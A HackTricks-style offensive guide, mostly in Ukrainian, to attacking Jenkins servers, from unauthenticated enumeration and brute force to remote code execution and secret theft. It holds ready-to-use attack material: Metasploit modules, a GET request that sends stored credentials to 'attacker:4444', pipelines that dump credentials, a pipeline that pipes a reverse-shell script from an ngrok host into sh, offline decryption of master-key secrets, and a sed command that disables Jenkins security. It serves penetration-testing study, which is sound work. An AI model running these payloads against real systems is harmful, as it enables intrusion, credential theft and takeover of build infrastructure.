Безпека Jenkins

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Базова інформація

Jenkins — інструмент, який пропонує простий спосіб створення середовища безперервної інтеграції або безперервного постачання (CI/CD) для майже будь-якої комбінації мов програмування та репозиторіїв вихідного коду з використанням пайплайнів. Крім того, він автоматизує різні рутинні задачі розробки. Хоча Jenkins не усуває потребу створювати скрипти для окремих кроків, він забезпечує швидший і надійніший спосіб інтегрувати всю послідовність інструментів збірки, тестування та деплойменту, ніж це легко реалізувати вручну.

Basic Jenkins Information

Неавтентифіковане перерахування

Щоб шукати цікаві сторінки Jenkins без автентифікації, такі як /people або /asynchPeople (вони показують поточних користувачів), можна використовувати:

msf> use auxiliary/scanner/http/jenkins_enum

Перевірте, чи можете виконувати команди без аутентифікації:

msf> use auxiliary/scanner/http/jenkins_command

Без облікових даних ви можете переглянути шлях /asynchPeople/ або /securityRealm/user/admin/search/index?q= для usernames.

Ви можете дізнатися версію Jenkins з шляху /oops або /error

Відомі вразливості

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

Login

У базовій інформації ви можете перевірити всі способи login всередині Jenkins:

Basic Jenkins Information

Register

Ви зможете знайти інстанси Jenkins, які allow you to create an account and login inside of it. As simple as that.

SSO Login

Також, якщо присутні SSO функціональність/плагіни, слід спробувати log-in у додаток, використовуючи тестовий акаунт (наприклад, тестовий Github/Bitbucket account). Трюк з here.

Bruteforce

Jenkins не має password policy та username brute-force mitigation. Важливо виконувати brute-force по користувачах, оскільки можуть використовуватися weak passwords або usernames as passwords, навіть reversed usernames as passwords.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Використовуйте this python script або this powershell script.

IP Whitelisting Bypass

Багато організацій комбінують SaaS-based source control management (SCM) systems такі як GitHub або GitLab з internal, self-hosted CI рішенням на кшталт Jenkins або TeamCity. Ця схема дозволяє CI systems receive webhook events from SaaS source control vendors, переважно для запуску pipeline jobs.

Щоб реалізувати це, організації whitelist IP ranges of the SCM platforms, дозволяючи їм доступ до internal CI system через webhooks. Проте важливо зазначити, що anyone може створити account на GitHub або GitLab і налаштувати його так, щоб trigger a webhook, потенційно надсилаючи запити до internal CI system.

Check: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

У цих сценаріях припустимо, що у вас є дійсний обліковий запис для доступу до Jenkins.

Warning

Залежно від механізму Authorization, налаштованого в Jenkins, та прав компрометованого користувача ви might be able or not to perform the following attacks.

For more information check the basic information:

Basic Jenkins Information

Listing users

Якщо ви отримали доступ до Jenkins, ви можете перерахувати інших зареєстрованих користувачів за адресою http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

Використовуйте this script щоб дампувати build console outputs та build environment variables у пошуках cleartext secrets.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

Деякі плагіни виставляють Jelly validateButton або test connection handlers за шляхами на кшталт /descriptorByName/<Class>/testConnection. Коли обробники не вимагають POST або перевірки прав доступу, ви можете:

  • Замініть POST на GET і приберіть Crumb, щоб обійти перевірки CSRF.
  • Запустіть обробник як low-priv/anonymous, якщо відсутня перевірка Jenkins.ADMINISTER.
  • Проведіть CSRF проти адміністратора та замініть параметр host/URL, щоб exfiltrate credentials або ініціювати outbound виклики.
  • Використовуйте помилки відповіді (наприклад, ConnectException) як SSRF/port-scan oracle.

Приклад GET (no Crumb), що перетворює виклик валідації на SSRF/credential exfiltration:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak ідентифікатори або помилки у відповіді. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

Stealing SSH Credentials

If the compromised user has enough privileges to create/modify a new Jenkins node and SSH credentials are already stored to access other nodes, he could steal those credentials by creating/modifying a node and setting a host that will record the credentials without verifying the host key:

You will usually find Jenkins ssh credentials in a global provider (/credentials/), so you can also dump them as you would dump any other secret. More information in the Dumping secrets section.

RCE in Jenkins

Getting a shell in the Jenkins server gives the attacker the opportunity to leak всі secrets and env variables and to exploit other machines located in the same network or even gather cloud credentials.

By default, Jenkins will run as SYSTEM. So, compromising it will give the attacker SYSTEM privileges.

RCE Creating/Modifying a project

Creating/Modifying a project is a way to obtain RCE over the Jenkins server:

Jenkins RCE Creating/Modifying Project

RCE Execute Groovy script

You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:

Jenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

You can also get RCE by creating/modifying a pipeline:

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

To exploit pipelines you still need to have access to Jenkins.

Build Pipelines

Pipelines can also be used as build mechanism in projects, in that case it can be configured a file inside the repository that will contains the pipeline syntax. By default /Jenkinsfile is used:

It’s also possible to store pipeline configuration files in other places (in other repositories for example) with the goal of separating the repository access and the pipeline access.

If an attacker have write access over that file he will be able to modify it and potentially trigger the pipeline without even having access to Jenkins.
It’s possible that the attacker will need to bypass some branch protections (depending on the platform and the user privileges they could be bypassed or not).

Note

If you are an external user you shouldn’t expect to create a PR to the main branch of the repo of other user/organization and trigger the pipeline… but if it’s bad configured you could fully compromise companies just by exploiting this.

Pipeline RCE

In the previous RCE section it was already indicated a technique to get RCE modifying a pipeline.

Checking Env variables

It’s possible to declare clear text env variables for the whole pipeline or for specific stages. This env variables shouldn’t contain sensitive info, but and attacker could always check all the pipeline configurations/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Для інформації про те, як Jenkins зазвичай обробляє secrets, перегляньте базову інформацію:

Basic Jenkins Information

Credentials можуть бути scoped to global providers (/credentials/) або до specific projects (/job/<project-name>/configure). Тому, щоб exfiltrate їх усіх, потрібно compromise принаймні всі проекти, що містять secrets, і виконати custom/poisoned pipelines.

Є ще одна проблема: щоб помістити secret inside the env pipeline, потрібно знати ім’я та тип secret. Наприклад, якщо ви спробуєте load usernamePassword secret як string secret, ви отримаєте цю error:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Ось як завантажити деякі поширені secret types:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Наприкінці цієї сторінки ви можете знайти всі типи облікових даних: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

Найкращий спосіб — dump all the secrets at once здійснити шляхом compromising Jenkins машини (наприклад, running a reverse shell в built-in node) і потім leaking master keys та encrypted secrets і розшифрувати їх офлайн.
Більше про те, як це зробити в the Nodes & Agents section та в the Post Exploitation section.

Triggers

From the docs: Директива triggers визначає автоматизовані способи, якими Pipeline має бути повторно запущено. Для Pipeline, інтегрованих із джерелом, таким як GitHub або BitBucket, triggers може бути не потрібна, оскільки інтеграція на основі webhooks, ймовірно, вже присутня. Наразі доступні тригери: cron, pollSCM та upstream.

Cron example:

triggers { cron('H */4 * * 1-5') }

Check other examples in the docs.

Вузли & агенти

У інстанції Jenkins може бути різні агенти, що працюють на різних машинах. З погляду нападника, доступ до різних машин означає різні потенційні cloud credentials для викрадення або різний мережевий доступ, який може бути використаний для атак на інші машини.

For more information check the basic information:

Basic Jenkins Information

Ви можете перерахувати налаштовані nodes у /computer/, зазвичай ви знайдете Built-In Node (який є вузлом, що запускає Jenkins) та, можливо, інші:

Особливо цікаво компрометувати Built-In node, оскільки він містить чутливу інформацію Jenkins.

Щоб вказати, що ви хочете run pipeline в built-in Jenkins node, ви можете вказати всередині pipeline наступну конфігурацію:

pipeline {
agent {label 'built-in'}

Повний приклад

Pipeline на конкретному agent, з cron trigger, з pipeline та stage env variables, що завантажує 2 variables у step та відправляє reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read до RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Ви можете перерахувати secrets, отримавши доступ до /credentials/, якщо маєте достатні права. Зауважте, що це покаже лише secrets всередині файлу credentials.xml, але файли конфігурації збірки також можуть містити додаткові credentials.

Якщо ви можете переглядати конфігурацію кожного проєкту, ви також побачите там назви credentials (secrets), які використовуються для доступу до репозиторію, а також інші credentials проєкту.

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

Ці файли потрібні для decrypt Jenkins secrets:

  • secrets/master.key
  • secrets/hudson.util.Secret

Такі secrets зазвичай можна знайти в:

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

Ось regex, щоб їх знайти:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Розшифруйте секрети Jenkins офлайн

Якщо ви витягли необхідні паролі для розшифрування секретів, використайте цей скрипт щоб розшифрувати ці секрети.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Розшифрувати секрети Jenkins з Groovy

println(hudson.util.Secret.decrypt("{...}"))

Створити нового адміністратора

  1. Отримайте доступ до файлу Jenkins config.xml у /var/lib/jenkins/config.xml або C:\Program Files (x86)\Jenkis\
  2. Знайдіть слово <useSecurity>true</useSecurity> і змініть слово **true ** на false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Перезапустіть сервер Jenkins: service jenkins restart
  5. Тепер знову зайдіть у портал Jenkins і цього разу Jenkins не вимагатиме жодних облікових даних. Перейдіть у “Manage Jenkins”, щоб повторно встановити пароль адміністратора.
  6. Увімкніть безпеку знову, змінивши налаштування на <useSecurity>true</useSecurity> і заново перезапустіть Jenkins.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks